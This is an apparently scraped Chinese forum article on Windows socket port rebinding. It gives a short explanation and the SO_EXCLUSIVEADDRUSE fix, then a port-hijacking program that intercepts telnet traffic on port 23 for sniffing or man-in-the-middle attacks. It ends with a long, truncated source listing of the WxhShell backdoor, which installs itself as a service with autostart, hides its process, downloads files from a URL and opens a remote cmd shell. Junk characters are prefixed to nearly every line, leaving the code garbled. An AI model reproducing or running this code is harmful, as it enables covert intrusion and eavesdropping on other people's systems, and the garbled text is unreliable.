在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!!^z6jpvn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
f=R+]XPzz d"#Zp saddr.sin_family = AF_INET;
j"69uj` R `<X-3)>;G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!sm/BsmL7T J}X{8Ds9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
FHSoj= V<0iYi;4= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CPP~,E_ ?";SUku 这意味着什么?意味着可以进行如下的攻击:
cZ?QI6|[ d-UeItyW* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rXX>I;`& D'#Q`H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1I9v`eT4 <GNLDpj 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S v>6:y9?G "[|b,fxR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e}e8WR=B fq6%@M~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
==5F[UX }bjZeh. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?W'p&(; 3N+lWuE}K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7R2O[=Szq ,94<j," #include
<'I["Um #include
:;7I_tb #include
fo@^=-4A- #include
[s{! DWORD WINAPI ClientThread(LPVOID lpParam);
St-uE|8 int main()
Y$r78h=4 {
WVy'f|3; WORD wVersionRequested;
#]@HsVXh7 DWORD ret;
~-BF7f6C WSADATA wsaData;
^hC'\09=c BOOL val;
2ndn8_l SOCKADDR_IN saddr;
$>XeC}"x68 SOCKADDR_IN scaddr;
~t`s&t'c| int err;
c0@8KW[, SOCKET s;
lS.Adl^k SOCKET sc;
} p'ZMj& int caddsize;
;hX( /T HANDLE mt;
6gg8h>b DWORD tid;
$E\|\g wVersionRequested = MAKEWORD( 2, 2 );
*Y m?gCig err = WSAStartup( wVersionRequested, &wsaData );
Dsg>~J' if ( err != 0 ) {
I#M3cI!X? printf("error!WSAStartup failed!\n");
;!4gDvm return -1;
RP&bb{Y }
l]R0r{{ saddr.sin_family = AF_INET;
Wp=3heCa6 ~f1g" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QOF@DvQ
pIJXP$v3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4]y)YNQ( saddr.sin_port = htons(23);
O<gfZ> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k&]nF,f {
n{;j printf("error!socket failed!\n");
)u)=@@k21 return -1;
afEa@et' }
fGo4&( U val = TRUE;
IY`p7 )#i //SO_REUSEADDR选项就是可以实现端口重绑定的
=?fz-HB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N4!`iS Y {
&v{Ehkr* printf("error!setsockopt failed!\n");
,BU;i%G&s return -1;
7~/ cz_ }
'YNaLZ20 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I &t~o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W lMcEje //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cj/`m$ 7;"0:eX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
11[lc2 {
:gh[BeqQ) ret=GetLastError();
?{{w[U6NE printf("error!bind failed!\n");
|cPHl+$nh. return -1;
%BqaVOKJ"f }
k9^Hmhjw listen(s,2);
IHl q27O while(1)
^OR0Vp>L {
5'~_d@M caddsize = sizeof(scaddr);
_kj]vbG^; //接受连接请求
SUncQJJ0S* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:d36oiHKu if(sc!=INVALID_SOCKET)
n|SV)92o1 {
}h5i Tc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)+E[M!34 if(mt==NULL)
>qjV{M {
}]?Si6_ZZ printf("Thread Creat Failed!\n");
'rD6MY break;
Mqf Ns<2 }
^mS |ff }
_'u]{X\k{J CloseHandle(mt);
EdJL&* }
bLgH3[{ closesocket(s);
/:&!o2&1H WSACleanup();
Lsmcj{1d return 0;
^PksXfk }
J3K=z DWORD WINAPI ClientThread(LPVOID lpParam)
RgE`H r {
"/#JC}] SOCKET ss = (SOCKET)lpParam;
tT$OnZu& SOCKET sc;
*sho/[~_ unsigned char buf[4096];
^URCnJ67Se SOCKADDR_IN saddr;
mP(3[a_Q long num;
(C2 XFg_ DWORD val;
Nk`UQ~g$ DWORD ret;
BT$p~XB //如果是隐藏端口应用的话,可以在此处加一些判断
n/H
OP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\{,TpK. saddr.sin_family = AF_INET;
W.7rHa saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m7 =$*1k saddr.sin_port = htons(23);
GP|=4T}Bf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1gEH~Jmj {
GXNf@& printf("error!socket failed!\n");
[|u^:&az return -1;
8sG3<$Z^ }
y}Ky<%A!P val = 100;
n\#YGL<n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
29R-Up!SVN {
AKNx~!%2 ret = GetLastError();
v\0 G`&^1 return -1;
v0^9"V:y
}
LSo!_tY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G1"iu89d {
::L2zVq5V ret = GetLastError();
E_HB[9 return -1;
Qy,^'fSN }
B~Q-V&@o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|m19fg3u {
g;IlS*Ld printf("error!socket connect failed!\n");
T)C@6/ closesocket(sc);
da{]B5p\ closesocket(ss);
$EMOz=)I# return -1;
)^h6'h` }
bQll;U^A while(1)
?Cq7_rq {
cw;wv+|k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$|4C]Me ( //如果是嗅探内容的话,可以再此处进行内容分析和记录
l?Y^3x}j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`sxfj)s num = recv(ss,buf,4096,0);
D)_
C@*q if(num>0)
Rd?}<L send(sc,buf,num,0);
#c!:&9oU else if(num==0)
Nz{dnV{&x; break;
rCyb3,W num = recv(sc,buf,4096,0);
aD/Rr3v> if(num>0)
E$d3+`` send(ss,buf,num,0);
^\)a[OWp else if(num==0)
HDyf]2N*N break;
-DDA b(2* }
`S&a.k closesocket(ss);
'X~tt#T closesocket(sc);
mgxIxusR return 0 ;
T?9D?u?] }
gjF5~
` <J[le= ?@V R%z ==========================================================
B(
[x8A] eh#37*- 下边附上一个代码,,WXhSHELL
-H1=N @WJ;T= L ==========================================================
oL4W>b ) @|!4X(2 #include "stdafx.h"
|J`EM7qMK A 'qe2] #include <stdio.h>
VFT@Ic#] #include <string.h>
E(qYCafC #include <windows.h>
iP/v"g"g #include <winsock2.h>
+,Dc0VC? #include <winsvc.h>
G#iQX` #include <urlmon.h>
q:{#kv8 )!y>2$20 r #pragma comment (lib, "Ws2_32.lib")
;%|im? #pragma comment (lib, "urlmon.lib")
;D5>iek5 +qxPUfN #define MAX_USER 100 // 最大客户端连接数
T.q2tC[bR #define BUF_SOCK 200 // sock buffer
MsB>3 #define KEY_BUFF 255 // 输入 buffer
Nk~}aj Wj{lb_Rj #define REBOOT 0 // 重启
"SF0b jG9C #define SHUTDOWN 1 // 关机
Z['.RF'` #mH@ /6,#[ #define DEF_PORT 5000 // 监听端口
U}v`~'K :I"CQ
C[Z #define REG_LEN 16 // 注册表键长度
E}^V@ :j> #define SVC_LEN 80 // NT服务名长度
3WV(Ok ycGY5t@K@ // 从dll定义API
*0WVrM06? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Tw~R-SiS`s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:\TMm>%q
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,|%KlHo^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:\](m64z; LS@TTiN
// wxhshell配置信息
3F9V,zWtTi struct WSCFG {
6)HmE[[F int ws_port; // 监听端口
P\7DA4] char ws_passstr[REG_LEN]; // 口令
5f0M{J,KC int ws_autoins; // 安装标记, 1=yes 0=no
pP\Cwo #, char ws_regname[REG_LEN]; // 注册表键名
!3Dq)ebBz char ws_svcname[REG_LEN]; // 服务名
o7y<Zd`Bj char ws_svcdisp[SVC_LEN]; // 服务显示名
sYTz6- char ws_svcdesc[SVC_LEN]; // 服务描述信息
lR(9;3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C* `WMP* int ws_downexe; // 下载执行标记, 1=yes 0=no
l,ny=Q$[1' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
tzI|vVT, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,n|si# <y 4(!z" };
j*=!M# D @uSO~.7 // default Wxhshell configuration
Jcw^Z, struct WSCFG wscfg={DEF_PORT,
|jsI-?%8J "xuhuanlingzhe",
ktu?-?#0, 1,
kuY^o,u-1e "Wxhshell",
YMGy-]!o "Wxhshell",
0JR/V68$ "WxhShell Service",
~$!,-r "Wrsky Windows CmdShell Service",
0AZ9I!&i "Please Input Your Password: ",
wG3L+[, 1,
.=y=Fv6X "
http://www.wrsky.com/wxhshell.exe",
7j&
t{q5 "Wxhshell.exe"
.5JIQWE( };
= XZU9df /"m s // 消息定义模块
5hs_k[q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.[={Yx0!I char *msg_ws_prompt="\n\r? for help\n\r#>";
Po>6I0y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SA,~q& char *msg_ws_ext="\n\rExit.";
IPot][ N> char *msg_ws_end="\n\rQuit.";
+Z#=z,.^ char *msg_ws_boot="\n\rReboot...";
K5>3 char *msg_ws_poff="\n\rShutdown...";
]&'!0'3` char *msg_ws_down="\n\rSave to ";
o.s'0xP] EPo)7<|> char *msg_ws_err="\n\rErr!";
ZbRRDXk! char *msg_ws_ok="\n\rOK!";
)1 <0c@g= ;R$G.5h char ExeFile[MAX_PATH];
A#>wbHjWF int nUser = 0;
DJ ru|2 HANDLE handles[MAX_USER];
B<W}:>3 int OsIsNt;
+'H[4g` VPCI5mS_ SERVICE_STATUS serviceStatus;
^}j~:EZb SERVICE_STATUS_HANDLE hServiceStatusHandle;
ODJ"3 J Y;af|?U*6: // 函数声明
KFM[caKeJO int Install(void);
bGh&@&dHr int Uninstall(void);
'r'=%u$1C int DownloadFile(char *sURL, SOCKET wsh);
2[
sY?C int Boot(int flag);
tqZ91QpW void HideProc(void);
Quth5 int GetOsVer(void);
0%xk tf int Wxhshell(SOCKET wsl);
.0Ud?v>= void TalkWithClient(void *cs);
6:_~-xG int CmdShell(SOCKET sock);
a%q,P @8 int StartFromService(void);
%p7
?\> int StartWxhshell(LPSTR lpCmdLine);
:?f<tNU$ k|fM9E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&{)<Q(g VOID WINAPI NTServiceHandler( DWORD fdwControl );
1q}32^>+o +\dVC,,=^g // 数据结构和表定义
;NP-tA) SERVICE_TABLE_ENTRY DispatchTable[] =
0jp].''RK\ {
QPy h.9:N {wscfg.ws_svcname, NTServiceMain},
DpHubqWz {NULL, NULL}
LP3#f{U };
"jZZ>\ a-5UG#o // 自我安装
#y\O+\4e int Install(void)
&Vj@){ {
}$?FR char svExeFile[MAX_PATH];
Uo3 HKEY key;
DVQr7tQf strcpy(svExeFile,ExeFile);
qw+7.h#V ft"- // 如果是win9x系统,修改注册表设为自启动
iBE|6+g~Cj if(!OsIsNt) {
DLwlA!z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'm0WPS/6E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t/i*.>7 RegCloseKey(key);
R6~6b&-8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tbQY&TO1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5{ap RegCloseKey(key);
1I;q@g0 return 0;
XRaGV~ }
F'~r?D }
'{`KYKLP+ }
j)ic7b else {
Fd8nR9A d /jx8(0 // 如果是NT以上系统,安装为系统服务
{[uhIJD3g6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Uahh|>s if (schSCManager!=0)
lU 9o"2 {
P, x"![6 SC_HANDLE schService = CreateService
\t{iyUxY (
Jq1oQu|rs schSCManager,
F%L"Q>aHW wscfg.ws_svcname,
Eu|/pH=: wscfg.ws_svcdisp,
fMwF|; SERVICE_ALL_ACCESS,
qJ" (:~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s.(.OXD& SERVICE_AUTO_START,
y9}qB:[bR SERVICE_ERROR_NORMAL,
W *0!Z:? svExeFile,
4n#u?) NULL,
( w4XqVT NULL,
m.P
F'_)/ NULL,
]n=z(2Z9lD NULL,
$y;w@^ NULL
II^Rp],> );
'q}Ud10c if (schService!=0)
Y1o[|ytW {
mR.j8pi CloseServiceHandle(schService);
@Z0. }}Y CloseServiceHandle(schSCManager);
ZW M:Wj192 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5ncW
s) strcat(svExeFile,wscfg.ws_svcname);
1uo |a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+s}!+I8P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D[W`
q#W RegCloseKey(key);
"]^U(m>f return 0;
w !kk(QMV }
+sJ{9# 6 }
2k!uk6 CloseServiceHandle(schSCManager);
&[`24Db }
Wz^;:6F }
oD%n} `+=Zq :0 return 1;
hz bvR~rn }
l[ko)%7V B^19![v3T // 自我卸载
\*PE#RB#6 int Uninstall(void)
ks$5$,^T2o {
yI=nu53BV HKEY key;
Z4z|B& (9bU\4F\ if(!OsIsNt) {
h-.^*=]R6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uA`e RegDeleteValue(key,wscfg.ws_regname);
vkLt#yj~ RegCloseKey(key);
!B[Y?b: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e_Zs4\^ef RegDeleteValue(key,wscfg.ws_regname);
C&F%
j. < RegCloseKey(key);
kFJ]F |^7 return 0;
oCwep^P(v }
;E}&{w/My }
"-fyX! }
&=zJ MGa else {
gISA13 SFzoRI=qG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x1
LI& if (schSCManager!=0)
uUl ;}W {
c[1{>z{G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jKP75jm if (schService!=0)
[L7S`Z {
Ev#,}l+ if(DeleteService(schService)!=0) {
2!f'l'} CloseServiceHandle(schService);
bil>;&h CloseServiceHandle(schSCManager);
qPN return 0;
%to.'R }
yyPj!<.MGP CloseServiceHandle(schService);
p-C{$5&
O1 }
&xj40IZ CloseServiceHandle(schSCManager);
4YOLy\"S }
X"8$,\wX, }
kPEU }Kv +Kmxo4p return 1;
3F6'3NvVc2 }
F0m[ls$ C#&b` // 从指定url下载文件
w6 Y+Y;,'f int DownloadFile(char *sURL, SOCKET wsh)
_ru<1n[4~ {
YU87l HRESULT hr;
M/[9ZgDc char seps[]= "/";
xZAg char *token;
q9(O=7O]- char *file;
E?0RR' char myURL[MAX_PATH];
Nf~B 1vkp char myFILE[MAX_PATH];
?#5)TAW 2}{[J strcpy(myURL,sURL);
}k1[Fc| token=strtok(myURL,seps);
B^1jd!m while(token!=NULL)
r|jBKq~ {
qyIy xJ file=token;
6{Bvl[mhI token=strtok(NULL,seps);
M~sP|Ha"+ }
gi
A(VUwI> BZQJ@lk5 GetCurrentDirectory(MAX_PATH,myFILE);
[woxCfSA strcat(myFILE, "\\");
a`||ePb|W~ strcat(myFILE, file);
y9:o];/ send(wsh,myFILE,strlen(myFILE),0);
"Q23s" send(wsh,"...",3,0);
~O~we hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'?|.#D#-c if(hr==S_OK)
[o'}R`5) return 0;
+w?1<Z else
v|kL7t)} return 1;
QD[l 6 ^w
RD| }
P.|g4EdND ~fA H6FdZ\ // 系统电源模块
zpcm`z int Boot(int flag)
=66,$~g{ {
]o8~b- HANDLE hToken;
V[|k:($ TOKEN_PRIVILEGES tkp;
-}JRsQ+rgM lce~6} if(OsIsNt) {
!hPe*pPVV) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^q~.5c| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
j%0g*YI tkp.PrivilegeCount = 1;
RG_)<U/B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7"_gX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=1kjKE ! if(flag==REBOOT) {
1n
ZE9;o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$r)nvf`\ return 0;
64!V8&Ay }
!91<K{#A{ else {
]_)=xF19 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HPWjNwM return 0;
VM
ny>g&3 }
XN'X&J }
[TpW$E0H else {
#lm1"~`5 if(flag==REBOOT) {
7W#9ki1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|Oaj
Jux return 0;
]| =#FFz }
v3jx2Z else {
UUql"$q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
yIThzyS return 0;
(au7wI{ }
<Gu dx>I }
7<ES&ls_ q}R" return 1;
|7T!rnr }
/9yA.W; uRNc9 // win9x进程隐藏模块
'uOp?g' 7 void HideProc(void)
Ie;}k;?- {
seH#v :!EOg4%i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4a~9?}V: if ( hKernel != NULL )
4B8{\"6 {
pRdO4?l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&"svt2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!*xQPanL FreeLibrary(hKernel);
Ts:pk }
WS0RvBvb Wm ?RB0 return;
,
v6[#NU_Z }
ex2*oqAdX Ih95&HsdC // 获取操作系统版本
c~Hq.K$d int GetOsVer(void)
LNU9M> {
=l3*{ ?G OSVERSIONINFO winfo;
W,>;`> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
',*
6vbII GetVersionEx(&winfo);
yz2NB?) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
g<{W\VOPm return 1;
|3g:q else
C31SXQ return 0;
[w)6OT }
7<?v!vQ}- Hca)5$yL // 客户端句柄模块
jKu"Vi|j> int Wxhshell(SOCKET wsl)
>b/0i$8 {
L*VGdZ SOCKET wsh;
;z7iUke0% struct sockaddr_in client;
DI!l.w5P_ DWORD myID;
nyPA`)5F0 GRj{*zs while(nUser<MAX_USER)
B: uW(E
{
'gE_xn7j int nSize=sizeof(client);
G";yqG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G\IH
b
| if(wsh==INVALID_SOCKET) return 1;
W"WvkW>- )5X7|*LP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n/UyMO3= if(handles[nUser]==0)
BiHBu8< closesocket(wsh);
_" F(w"| else
rC<m6 nUser++;
QTK{JZf }
rReZ$U
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
y?aOk-TaRA v *~ yN* return 0;
W#0pFofXw }
<OW` )0UX n4CzReG // 关闭 socket
7z6y n=B void CloseIt(SOCKET wsh)
/gHRJ$2|Sx {
TZZqV8 closesocket(wsh);
eGLLh_V" nUser--;
f.'o4HSj ExitThread(0);
./ib{ @A. }
^QV;[ha,o `pN]Ykt // 客户端请求句柄
W?/7PVGv5h void TalkWithClient(void *cs)
K)0 6][, {
jvm
"7)h ipKkz SOCKET wsh=(SOCKET)cs;
;mo}$^49* char pwd[SVC_LEN];
L1"X`Pz[} char cmd[KEY_BUFF];
P5vM y'1X char chr[1];
F{f "xM int i,j;
E(
*$wD )WEyB~'o while (nUser < MAX_USER) {
<<&:BK Cl>'K*$F if(wscfg.ws_passstr) {
Z)7
{e"5d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9^s
sT>&/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Khw!+!(H //ZeroMemory(pwd,KEY_BUFF);
IEeh)aj[ i=0;
Q:kpaMA1P while(i<SVC_LEN) {
%r~TMU2" G m<t2Csn // 设置超时
Ra_6}k fd_set FdRead;
0/(YH struct timeval TimeOut;
o *I-~k FD_ZERO(&FdRead);
{q8V FD_SET(wsh,&FdRead);
R`>E_SY TimeOut.tv_sec=8;
l=EIbh TimeOut.tv_usec=0;
kRE^G*? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
UXa3>q> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(g~&$&pa FJ>| l#nO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-_pI:K[ pwd
=chr[0]; m2<sVTN`^
if(chr[0]==0xd || chr[0]==0xa) { )X| uOg&|
pwd=0; {u46m
break; 3r^i>r8B
} D@d/O
i++; eB!0:nHN
} WZ~rsSZSV
~`mOs1 d
// 如果是非法用户,关闭 socket R4QXX7h!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &&(sZGw
} S|!U=&
UO<%|{W+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cKK 1$x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2f I?P
'ei9* 4y
while(1) { O-bC+vB]M
UTmX"Li
ZeroMemory(cmd,KEY_BUFF); nKkI
#xE"];
// 自动支持客户端 telnet标准 Y@^MU->+
j=0; ](-:l6
while(j<KEY_BUFF) { bv$)^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $N5}N\C:a
cmd[j]=chr[0]; V!3O
1
if(chr[0]==0xa || chr[0]==0xd) { 01#a
cmd[j]=0; =?T'@C
break; @;d(>_n
} aLuxCobV
j++; aeE9dV~
} Eh0R0;l5>
*wyaBV?*K
// 下载文件 J0lTp /
if(strstr(cmd,"http://")) { =JNoC01D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IM)\-O\Wd
if(DownloadFile(cmd,wsh)) 0 Co_,"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WQ =C5^u
else _i6G)u&N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #$X_,P|D
} |ay W _5}
else { F
~
/{1Q*
e [3sWv
switch(cmd[0]) { +:wOzTUN
:%)l*[
// 帮助 f(7/
case '?': { !}Cd_tj6
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oC.:mI
break; &d 9tR\}
} p^7ZFUP
// 安装 GZ
UDI#
case 'i': { +;pdG[N
if(Install()) x(5>f9b b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UFm E`|le
else ~%k<N/B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VGA?B@
break; q9yY%
} ^cDHyB=v4d
// 卸载 7oh6G
case 'r': { ]6W#P7
if(Uninstall()) B.;/N220P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`FTWH
else KE&Y~y8O\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ d+&&ns
break; :_i1)4[!
} j!qO[CJJ
// 显示 wxhshell 所在路径 ^'*9,.ltd
case 'p': { rM<c;iQ
char svExeFile[MAX_PATH]; S;a{wYF6v
strcpy(svExeFile,"\n\r"); \O^b|0zc
strcat(svExeFile,ExeFile); D%Hz'G0|
send(wsh,svExeFile,strlen(svExeFile),0); u==bLl=$
break; ;:hyW,J
} 73rr">
9#0
// 重启 S3`zB?7,
case 'b': { ke2'?,f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
{1>V~e8t
if(Boot(REBOOT)) `\(Fax
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7?qRY9Qu
else { uf^"Y3
closesocket(wsh); 8BhLO.(<O
ExitThread(0); P+wV.pF|
} Wb68" )$
break; }.$oZo9J
} }rxFX
// 关机 o2@8w[r
case 'd': { e$4 5 OL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ma:xxsH.
if(Boot(SHUTDOWN)) "+[:\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gyk>5Q}}
else { IO/2iSbW
closesocket(wsh); > mgbs>
ExitThread(0); (`k0tC2
} *Ny^XQ_ X
break; 's8NO
Xlj
} wt? 8-_
// 获取shell gk"S`1>
case 's': { 3YR6@*!f/
CmdShell(wsh); Y<#WC#3=
closesocket(wsh); s3W35S0Q 3
ExitThread(0); ,pq<.?&E
break; iXqc$!lTH
} 5tX|@Z:
z
// 退出 'bN\bbR
case 'x': { l=`)yc.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;l[/<J
CloseIt(wsh); K@Twiw~rB
break; &^8>Kd8
} #%il+3J
// 离开 ]m{;yOQdsC
case 'q': { r3mB"("Z'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ny/bNQS
closesocket(wsh); G0^WQQ4
WSACleanup(); t7H2z}06=h
exit(1); G9<pYt{:
break; tY C`?HT
} - (VV
} `Yn^ -W
} vHZw{'5y
KM*sLC#
// 提示信息 4r\Sbh
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KwlN
} ]0GOSh
} 6+_)(+c
U\&kT/6vh
return;
? }|;ai
} :+|b7fF
S)p{4`p%
// shell模块句柄 :W_S
int CmdShell(SOCKET sock) z1aApS
{ WIb\+!
STARTUPINFO si; Ro*$7j0!Hf
ZeroMemory(&si,sizeof(si)); 4tz8^z[Kw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uq 2Uv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Is` S
PROCESS_INFORMATION ProcessInfo; s<cg&`u,<M
char cmdline[]="cmd"; su<_?'uH
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VZ&>zF
return 0; LDN'o1$qo
} hV;Tm7I2
)NGBA."t
// 自身启动模式 /ZlW9|
int StartFromService(void) pM9Hav@iWU
{ xG
7;Ps4L
typedef struct YES!?^}
{ `<zaxO
DWORD ExitStatus; K 2$mz
DWORD PebBaseAddress; @I2m4Q{O
DWORD AffinityMask; 46o3F"
DWORD BasePriority; [-f0s;F1%
ULONG UniqueProcessId; MeW8aLr
